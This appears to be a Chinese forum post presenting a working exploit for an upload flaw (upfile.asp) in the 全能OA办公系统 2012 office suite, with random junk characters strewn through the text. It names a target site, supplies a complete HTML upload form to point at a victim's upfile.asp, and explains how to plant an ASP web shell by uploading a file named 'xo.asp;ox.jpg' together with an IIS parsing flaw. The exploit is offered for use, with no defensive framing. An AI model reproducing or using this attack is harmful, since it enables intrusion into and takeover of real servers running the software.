全能OA办公系统0day OA办公系统漏洞 上传漏洞

admin

全能OA办公系统 上传漏洞
7 ]9 l) E" c3 l3 L​
, R7 j7 @& u( A0 ^( H系统介绍：

全能OA办公系统2012是功能非常强大的OA系统，目前功能已完全能满足日常办公需要。

% `& b+ o! v; i  E8 H7 b主要功能：
公司通告
$ J! E; Y) d& _- Y5 t0 y' x. X' l工作计划
通讯助理
客户资源
! j* t( ]* L& X1 Y) J# g  B  s我的公文
6 z6 ^2 a) I2 V! B2 ]& ^# }# V公文传阅
( V/ c2 q' R, A, V, W3 E公共资源
资源预约
今日考勤
个人计划
, N6 e( u+ M  [( s; ~& ]个人通讯录
个人基本档案
未读邮件
发邮件
3 R  Z& N9 j# P6 e收件夹
寄件夹
3 N" m+ n# a- s网络硬盘
1 O2 p2 U8 }% [; k, z6 W网络会议
6 d" T. a, a0 y& T: t) K& f网络调查
交流论坛

有兴趣测试的朋友可以下源码看看
9 V) b/ {" y7 a9 P8 X, c
) q3 A5 I5 c! u源码下载：
8 i' l0 Y4 V5 ]5 U
" ^- N9 {: s. a2 |4 Ghttp://www.mycodes.net/30/4750.htm

! [9 N1 e0 J6 P9 T1 D漏洞介绍：

由upfile.asp上传文件漏洞引起

7 `) L% G4 q6 s6 l& s6 w测试方法：
  |& e* j2 Y! O
& {) `9 \: V" A2 b3 J使用名小子上传http://www.itlynn.com/upfile.asp即可

" i* V% Q  `5 A# q6 M7 Y0 U' c! v如果upfile.asp文件被删除不存在。
, E) f0 }; Y, c; J9 s- \2 @
) N/ N* X" s' z9 H  那么可以试着访问http://www.itlynn.com/upfile/upfile.asp 。

如果存在那么将如下代码保存为upfile.html。

8 p# x, V6 x, L5 `% M" w然后将action的参数修改为目标站点的url。例如 http://www.itlynn.com/upfile/upfile.asp。
! B7 v; L' q% y" F" k
1 I; C: F  N  o3 k# ^

& n+ m( p! F% O01 <table border='0' align="center" cellpadding="5">

02 <form method="POST"action="http://www.itlynn.com/upfile/upfile.asp"enctype="multipart/form-data"id="form1"name="form1">

03 <tr>
! j+ G( u* W1 ]. P1 n+ _
) G6 u" ?& i2 x8 Q' B# W# ^04             <td>报错：</td>
) o. a& P6 a1 @5 H+ M3 U
05             <td><input type='radio' name='errnumber' value='0'>

06               自动更名
4 v/ t' d/ C+ O
07               <input type='radio' name='errnumber' value='1' checked>

08               报错方式

" T( I9 I9 h. ^9 |" ?09               <input type='radio' name='errnumber' value='2'>

10               直接覆盖</td>
  P8 P: t& c/ L. t2 u- T
7 C; W& v; F& w7 q4 Y  T3 [; g4 ~11           </tr>

12           <tr>
" T4 d3 P- J3 g  T3 Q5 ]+ R
! b! h% }# h) M3 v) f& S4 P13             <td>主题：</td>
1 t6 e4 |1 {" i! g' h6 Z
14             <td><input type='text' name='filename' size='30'></td>
' D: H) e% ], `9 G- A
- y. E! J) K% S; F15           </tr>

8 J! j5 f( @" j  X16           <tr>
& t" D( _3 E0 V1 ~
17             <td>文件：</td>

18             <td><input type="file"name="fruit"size="30"></td>
' K5 p1 c2 L8 O! z6 k
19           </tr>

20           <tr>
, |2 O! H* j2 G" {3 U
21             <td valign='top'>简介：</td>
8 s+ X5 W. d& g6 b+ T% m7 `
4 S! J9 C3 ]6 d8 c( P- P22             <td><textarea name='fileExt' cols='40' rows='5'></textarea></td>

% `- a) N2 f0 q# o" o/ x# M23           </tr>
! L6 M8 ?; U" b% ^+ u/ n! W/ L
4 m/ H' E7 p8 X2 c& R. n1 u24   
8 h/ |) ?  l! Q0 I* a
) [  j( e2 j6 R+ K) z25             <td colspan='2'><input type="submit" value="上传文件" name="subbutt"></td>

26           </tr>
/ K" g2 M! F3 k4 b4 ^4 B0 k
27         </form>

然后打开上传一个文件名为xo.asp;ox.jpg的文件。
5 z1 H" C; y) t' u+ h' i: ^$ M
! E( H( k7 t2 l" y: ~! L

上传成功后，马的路径是：http://www.itlynn.com/upfile/savepath/xo.asp;ox.jpg
8 {8 j1 E8 _8 _5 \# {
此漏洞需要配合解析漏洞利用。
  r2 F( }% o) w* S$ f$ ?$ _